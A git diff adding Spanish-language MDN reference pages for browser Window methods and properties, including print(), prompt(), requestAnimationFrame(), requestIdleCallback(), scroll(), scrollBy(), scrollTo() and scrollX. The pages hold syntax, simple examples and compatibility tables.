+<p>Abre el diálogo para imprimir el documento actual.</p>
+
+<p>En la mayoría de navegadores, este método bloquea mientras el díalogo de impresión esté abierto, sin embargo, en algunas versiones recientes de Safari podría retornar de inmediato.</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Abre el <em>Diálogo de Impresión</em> para imprimir el documento actual.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">window.print()
+</pre>
+
+<h2 id="Specification" name="Specification">Notas</h2>
+
+<p>Empezando con Chrome {{CompatChrome(46.0)}} este método esta bloqueado dentro de un {{htmlelement("iframe")}} a menos que el atributo del contenedor tenga el valor <code>allow-modal</code>.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web application', '#dom-print', 'print()')}}</td>
+   <td>{{Spec2('HTML5 Web application')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en/Printing" title="en/Printing">Impresión</a></li>
+ <li>{{ domxref("window.onbeforeprint") }}</li>
+ <li>{{ domxref("window.onafterprint") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "zh-cn": "zh-cn/DOM/window.print" } ) }}</p>
diff --git a/files/es/web/api/window/prompt/index.html b/files/es/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..f05be58868
--- /dev/null
+++ b/files/es/web/api/window/prompt/index.html
@@ -0,0 +1,82 @@
+---
+title: Window.prompt()
+slug: Web/API/Window/prompt
+tags:
+  - Referencia
+  - metodo
+translation_of: Web/API/Window/prompt
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p>El método <code>Window.prompt()</code> muestra un diálogo con mensaje opcional, que solicita al usuario que introduzca un texto.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>result</em> = window.prompt(<em>message</em>, <em>default</em>);
+</pre>
+
+<ul>
+ <li><code>result</code> es una cadena de texto que contiene el valor introducido por el usuario, o <code>null</code>.</li>
+ <li><code>message</code> es una cadena de texto que se mostrará al usuario. Este parámetro es opcional y puede ser omitido si no se necesita mostrar nada en la ventana.</li>
+ <li><code>default</code> es una cadena de texto que contiene el valor predeterminado para el texto de entrada. Es un parámetro opcional. Nótese que en Internet Explorer 7 y 8, si no se provee un valor para este parámetro, el valor predeterminado es <code>"undefined"</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">var sign = prompt("What's your sign?");
+
+if (sign.toLowerCase() == "scorpio") {
+  alert("Wow! I'm a Scorpio too!");
+}
+
+// there are many ways to use the prompt feature
+var sign = window.prompt(); // open the blank prompt window
+var sign = prompt();       //  open the blank prompt window
+var sign = window.prompt('Are you feeling lucky'); // open the window with Text "Are you feeling lucky"
+var sign = window.prompt('Are you feeling lucky', 'sure'); // open the window with Text "Are you feeling lucky" and default value "sure"</pre>
+
+<p>Cuando el usuario hace clic en el botón OK, el valor introducido en el campo de texto es devuelto por el método. Si el usuario da clic al botón OK sin introducir algun texto, se devuelve una cadena vacía. Si el usuario presiona el botón Cancel, la función devuelve <code>null</code>.</p>
+
+<p>El ejemplo anterior muestra el siguiente cuadro de diálogo (en Chrome en OS X):</p>
+
+<p><a href="https://mdn.mozillademos.org/files/11303/prompt.png"><img alt="prompt() dialog in Chrome on OS X" src="https://mdn.mozillademos.org/files/11303/prompt.png" style="height: 298px; width: 535px;"></a></p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Un diálogo prompt contiene un cuadro de texto de una línea, un botón Cancel (Cancelar)  un botón OK (Aceptar), y devuelve el texto (posiblemente vacío) que el usuario introdujo en el cuadro de texto.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Los cuadros de diálogo son ventanas modales; previenen que el usuario acceda al resto de la interfaz del programa hasta que el cuadro de diálogo es cerrado. Por esta razón, no se debe abusar de cualquier función que crea un cuadro de diálogo (o ventana modal).</p>
+
+<p>Nótese que el resultado es una cadena de texto. Esto significa que a veces se deberá hacer una conversión al valor introducido por el usuario. Por ejemplo, si la respuesta debe ser un valor numérico, se debe hacer la conversión del valor a tipo Number. <span style="background-color: #f6f6f2; font-family: courier new,andale mono,monospace; font-size: 12px; line-height: normal;">var aNumber = Number(window.prompt("Type a number", "")); </span></p>
+
+<p>Usuarios de <a href="/en-US/Chrome" title="Chrome">Mozilla Chrome</a> (p.ej. extensiones de Firefox) deben usar preferentemente métodos de {{interface("nsIPromptService")}}.</p>
+
+<p>A partir de Chrome {{CompatChrome(46.0)}} este método está bloqueado para los elementos {{htmlelement("iframe")}}, , a menos que su atributo <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/iframe#attr-sandbox">sandbox</a> tenga el valor <code>allow-modal</code>.</p>
+
+<p>En Safari, si el usuario presiona el botón Cancel, la función devuelve una cadena vacía. Por lo tanto, no se puede diferenciar si canceló o si mandó una cadena de texto vacía como valor del cuadro de texto.</p>
+
+<p>Esta función no tiene efecto en la versión Modern UI/Metro de Internet Explorer para Windows 8. No se muestra un diálogo al usuario, y siempre devuelve <code>undefined</code>. No está claro si esto es un bug o un comportamiento previsto. Las versiones de escritorio de IE sí implementan esta función</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web application', '#dom-prompt', 'prompt()')}}</td>
+   <td>{{Spec2('HTML5 Web application')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/es/web/api/window/requestanimationframe/index.html b/files/es/web/api/window/requestanimationframe/index.html
new file mode 100644
index 0000000000..2f3ae5342b
--- /dev/null
+++ b/files/es/web/api/window/requestanimationframe/index.html
@@ -0,0 +1,153 @@
+---
+title: Window.requestAnimationFrame()
+slug: Web/API/Window/requestAnimationFrame
+translation_of: Web/API/window/requestAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<div>El método <strong><code>window.requestAnimationFrame</code></strong> informa al navegador que quieres realizar una animación y solicita que el navegador programe el repintado de la ventana para el próximo ciclo de animación. El método acepta como argumento una función a la que llamar antes de efectuar el repintado.</div>
+
+<div></div>
+
+<div class="note"><strong>Nota:</strong> Si no quieres que tu animación se detenga, debes asegurarte de  llamar a su vez a <code>requestAnimationFrame() </code>desde tu callback.</div>
+
+<p>Debes llamar a este método cuando estés preparado para actualizar tu animación en la pantalla para pedir que se programe el repintado. Ésto puede suceder hasta 60 veces por segundo en pestañas en primer plano, pero se puede ver reducido a velocidades inferiores en pestañas en segundo plano.</p>
+
+<p>El método indicado como callback recibe un único argumento que indica el tiempo en el que está programado que se ejecute el ciclo de animación.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><em>requestID</em> = window.mozRequestAnimationFrame(<em>callback</em>);   // Firefox
+window.msRequestAnimationFrame(<em><code>callback</code></em>);                // IE 10 PP2+
+window.webkitRequestAnimationFrame(callback<em>[, element]</em>); // Chrome/Webkit
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Parámetro que especifica la función a la cual llamar llegado el momento de actualizar tu animación para el próximo repintado.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un valor entero <code>long</code>, es un entero de tipo long que identifica de manera exclusiva la entrada en la lista de callbacks. Es siempre un distinto de cero, pero no debes realizar ninguna otra suposición acerca de su valor. Puedes pasar este valor a {{ domxref("window.cancelAnimationFrame()") }} para cancelar la petición de actualización del callback.</p>
+
+<h2 id="Notes" name="Notes">Ejemplo</h2>
+
+<pre class="brush: js notranslate">(function() {
+  var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                              window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+  window.requestAnimationFrame = requestAnimationFrame;
+})();
+
+<code>var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  element.style.transform = 'translateX(' + Math.min(progress / 10, 200) + 'px)';
+  if (progress &lt; 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);</code></pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad entre Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>21.0 {{ property_prefix("webkit") }}</td>
+   <td>14.0 {{ property_prefix("moz") }}</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6.0 {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>requestID</code> return value</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("11.0") }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>BlackBerry Browser</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0 {{ property_prefix("webkit") }}</td>
+   <td>
+    <p>0.16 {{ property_prefix("webkit") }}</p>
+   </td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6.0 {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>requestID</code> return value</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("11.0") }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Specification" name="Specification">Notas para Gecko</h3>
+
+<p>Antes que Gecko 11.0 {{ geckoRelease("11.0") }}, <code>mozRequestAnimationFrame()</code> se podía llamar sin parámetros. Esta opción ya no está soportada ya que no es probable que se convierta en parte del estándar.</p>
+
+<h3 id="Notas_para_Chrome">Notas para Chrome</h3>
+
+<p>En estos momentos, la llamada correcta en Chrome para cancelar la petición es <code>window.webkitCancelAnimationFrame()</code>. La antigua versión, <code>window.webkitCancelRequestAnimationFrame()</code>, está obsoleta se sigue soportando por ahora.</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<p>{{ spec("http://www.w3.org/TR/animation-timing/#requestAnimationFrame", "Timing control for script-based animations: requestAnimationFrame", "WD") }}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{ domxref("window.mozAnimationStartTime") }}</li>
+ <li>{{ domxref("window.cancelAnimationFrame()") }}</li>
+ <li><a class="external" href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - Blog post</li>
+ <li><a class="external" href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - Blog post</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - Blog post</li>
+ <li><a class="external" href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - Blog post</li>
+</ul>
diff --git a/files/es/web/api/window/requestidlecallback/index.html b/files/es/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..ba4351f818
--- /dev/null
+++ b/files/es/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,126 @@
+---
+title: requestIdleCallback
+slug: Web/API/Window/requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>El método <code><strong>w</strong></code><strong><code>indow.requestIdleCallback()</code></strong> encola la función que será ejecutada en periodos de inactividad del navegador permitiendo a los desarrolladores ejecutar en segundo plano tareas de baja prioridad del bucle de eventos, sin perjudicar la latencia de eventos principales como animaciones o respuestas a entradas. La funciones son ejecutadas normalmente en orden FIFO (primero en entrar primero en salir) salvo que se alcance el timeout definido de la función antes de que el navegador la ejecute.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>var handle = window.requestIdleCallback(callback[, options])</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un entero largo sin signo (unsigned long integer) que puede utilizarse para cancelar el callback a través del método {{domxref("Window.cancelIdleCallback()")}}.</p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La referencia a la función que debe ser ejecutada en un futuro inmediato. La función callback toma un argumento con las siguientes propiedades:
+ <ul>
+  <li><code>timeRemaining</code>: Referencia a un metodo que devuelve un {{domxref("DOMHighResTimeStamp")}}.</li>
+  <li><code>didTimeout</code>: Booleano que se devuelve a false si el callback fue invocado por el navegador durante su inactividad, y true en otro caso (por ejemplo, si se definió timeout y expiró antes de que hubiera suficiente tiempo de inactividad).</li>
+ </ul>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+</dl>
+
+<p>Contiene parametros opcionales de configuración. Contiene la siguiente propiedad:</p>
+
+<ul>
+ <li><code>timeout</code>: Plazo para que el navegador ejecute la función callback. Valor en milisegundos.</li>
+</ul>
+
+
+
+<h2 id="Example" name="Example">Ejemplos</h2>
+
+<p>Ver <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API#Example">ejemplo</a> en el artículo <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API">Planificación Cooperativa de la API de Tareas en segundo plano</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">
+    <p>Especificación</p>
+   </th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox para Móvil (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE para Móvil</th>
+   <th>Opera para Móvil</th>
+   <th>Safari para Móvil</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vease_también">Vease también</h2>
+
+<ul>
+ <li>{{domxref("window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("window.setTimeout()")}}</li>
+ <li>{{domxref("window.setInterval()")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+</ul>
diff --git a/files/es/web/api/window/scroll/index.html b/files/es/web/api/window/scroll/index.html
new file mode 100644
index 0000000000..ec2c61ab41
--- /dev/null
+++ b/files/es/web/api/window/scroll/index.html
@@ -0,0 +1,84 @@
+---
+title: Window.scroll()
+slug: Web/API/Window/scroll
+tags:
+  - API
+  - CSSOM View
+  - Referencia
+  - metodo
+translation_of: Web/API/Window/scroll
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>Window.scroll()</strong></code> desplaza la ventana a un lugar particular en el documento.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">window.scroll(<em>x-coord</em>, <em>y-coord</em>)
+window.scroll(<em>options</em>)
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<ul>
+ <li><code>x-coord</code> es la coordenada sobre el eje horizontal del documento del pixel que querés que se muestre en la parte superior izquierda.</li>
+ <li><code>y-coord</code> es la coordenada sobre el eje vertical del documento del pixel que querés que se muestre en la parte superior izquierda.</li>
+</ul>
+
+<p>- o -</p>
+
+<ul>
+ <li><code>options</code> es un diccionario {{domxref("ScrollToOptions")}}.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html;htmlScript:true;">&lt;!-- poner el pixel 100º verticalmente en el tope superior de la ventana --&gt;
+
+&lt;button onClick="scroll(0, 100);"&gt;Clic para desplazarse hacia abajo 100 pixeles&lt;/button&gt;
+</pre>
+
+<p>Utilizando <code>options</code>:</p>
+
+<pre class="brush: js">window.scroll({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>{{domxref("Window.scrollTo()")}} es efectivamente idéntico a este método. Para desplazamiento relativo, mira {{domxref("Window.scrollBy()")}}, {{domxref("Window.scrollByLines()")}} y {{domxref("Window.scrollByPages()")}}.</p>
+
+<p>Para desplazarse sobre elementos, mira {{domxref("Element.scrollTop")}} y {{domxref("Element.scrollLeft")}}.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scroll', 'window.scroll()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.Window.scroll")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Window.scrollByLines()")}}</li>
+ <li>{{domxref("Window.scrollByPages()")}}</li>
+ <li>{{domxref("Element.scrollIntoView()")}}</li>
+</ul>
diff --git a/files/es/web/api/window/scrollby/index.html b/files/es/web/api/window/scrollby/index.html
new file mode 100644
index 0000000000..e07da04b65
--- /dev/null
+++ b/files/es/web/api/window/scrollby/index.html
@@ -0,0 +1,85 @@
+---
+title: Window.scrollBy()
+slug: Web/API/Window/scrollBy
+tags:
+  - API
+  - CSSOM View
+  - Método(2)
+  - NeedsCompatTable
+  - NeedsSpecTable
+  - Referencia
+translation_of: Web/API/Window/scrollBy
+---
+<p>{{ APIRef() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Desplaza el documento el número de pixels proporcionados.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre>window.scrollBy(<em>X</em>, <em>Y</em>);
+window.scrollBy(opciones)</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><code>X</code> es el número de pixels a desplazar horizontalmente.</li>
+ <li><code>Y</code> es el número de pixels a desplazar verticalmente.</li>
+</ul>
+
+<p>Si X o Y son positivos, desplazarán la página hacia la derecha o hacia abajo respectivamente. Si son negativos, la desplazarán hacia la izquierda o hacia arriba respectivamente.</p>
+
+<p>- or -</p>
+
+<ul>
+ <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">opciones</span></font> es un objeto con tres posibles propiedades:
+
+  <ul>
+   <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">top</span></font>, que es lo mismo que <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Y</span></font></li>
+   <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">left</span></font>, que es lo mismo que X</li>
+   <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">behavior</span></font>, que es un string cuyo valor puede ser <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">smooth</span></font>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">instant</span></font>, or <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">auto</span></font>. Por defecto el valor es <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">auto</span></font></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="eval">// Desplazarse la longitud de una página
+window.scrollBy(0, window.innerHeight);
+</pre>
+
+<p>Para hacer scroll hacia arriba:</p>
+
+<pre>window.scrollBy(0, -window.innerHeight);</pre>
+
+<p>Utilizando <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">opciones</span></font>:</p>
+
+<pre>window.scrollBy({
+  top: 100,
+  left: 100,
+  behaviour: 'smooth'
+})</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a> desplaza el documento una cantidad determinada, mientras que <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a> lo hace hacia una posición absoluta en el documento. Vea también <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a></p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollby', 'window.scrollBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/window/scrollto/index.html b/files/es/web/api/window/scrollto/index.html
new file mode 100644
index 0000000000..ec20698673
--- /dev/null
+++ b/files/es/web/api/window/scrollto/index.html
@@ -0,0 +1,50 @@
+---
+title: Window.scrollTo()
+slug: Web/API/Window/scrollTo
+translation_of: Web/API/Window/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Desplaza el visor a un conjunto específico de coodenadas en el documento.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>window.scrollTo(<em>x-coord</em>, <em>y-coord</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><code>x-coord</code> es el pixel en el eje horizontal del documento que debe terminar posicionado en el extremo superior izquierdo.</li>
+ <li><code>y-coord</code> es el pixel en el eje vertical del documento que debe terminar posicionado en el extremo superior izquierdo.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">window.scrollTo( 0, 1000 );</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Esta función es en efecto la misma que <a href="/en-US/docs/DOM/Window.scroll">window.scroll</a>. Para desplazamiento relativo, ver <a href="/en-US/docs/DOM/Window.scrollBy">window.scrollBy</a>, <a href="/en-US/docs/DOM/Window.scrollByLines">window.scrollByLines</a>, y <a href="/en-US/docs/DOM/Window.scrollByPages">window.scrollByPages</a>.</p>
+
+<p>Para desplazar el visor dentro de elementos, ver <a href="/en-US/docs/Web/API/Element/scrollTop">Element.scrollTop </a>and <a href="/en-US/docs/Web/API/Element/scrollLeft">Element.scrollLeft</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scroll', 'window.scroll()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/window/scrollx/index.html b/files/es/web/api/window/scrollx/index.html
new file mode 100644
index 0000000000..71b0df1338
--- /dev/null
+++ b/files/es/web/api/window/scrollx/index.html
@@ -0,0 +1,124 @@
+---
+title: Window.scrollX
+slug: Web/API/Window/scrollX
+translation_of: Web/API/Window/scrollX
+---
+<div>{{ APIRef() }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Retorna el número de pixels que el documento ha sido desplazado horizontalmente.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var x = window.scrollX;</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><font face="Courier New, Andale Mono, monospace"><span style="line-height: normal;">x</span></font> será el número de pixels que el documento está desplazado actualmente desde la izquierda.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">// Si scrollX es mayor que 400, reinicia la posición de desplazxamiento al inicio supuerior-izquierdo del documento.
+if (window.scrollX &gt; 400) {
+  window.scroll(0,0);
+}</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><span style="line-height: 1.572;">La propiedad </span><code style="font-size: 14px;">pageXOffset</code><span style="line-height: 1.572;"> es un alias de la propiedad </span><code style="font-size: 14px;">scrollX</code><span style="line-height: 1.572;">:</span></p>
+
+<pre>window.pageXOffset == window.scrollX; // siempre true</pre>
+
+<p>Para compatibilidad cruzada entre navegadores, use <code>window.pageXOffset</code> en lugar de <code>window.scrollX</code>. <strong>Adicionalmente</strong>, versiones más antiguas de Internet Explorer (&lt; 9) no soportan ninguna de las dos propiedades y deben ser sorteadas examinando otras propiedade no estandar. Un ejemplo totalmente compatible:</p>
+
+<pre class="brush:js">var x = (window.pageXOffset !== undefined)
+  ? window.pageXOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollLeft;
+
+var y = (window.pageYOffset !== undefined)
+  ? window.pageYOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollTop;</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
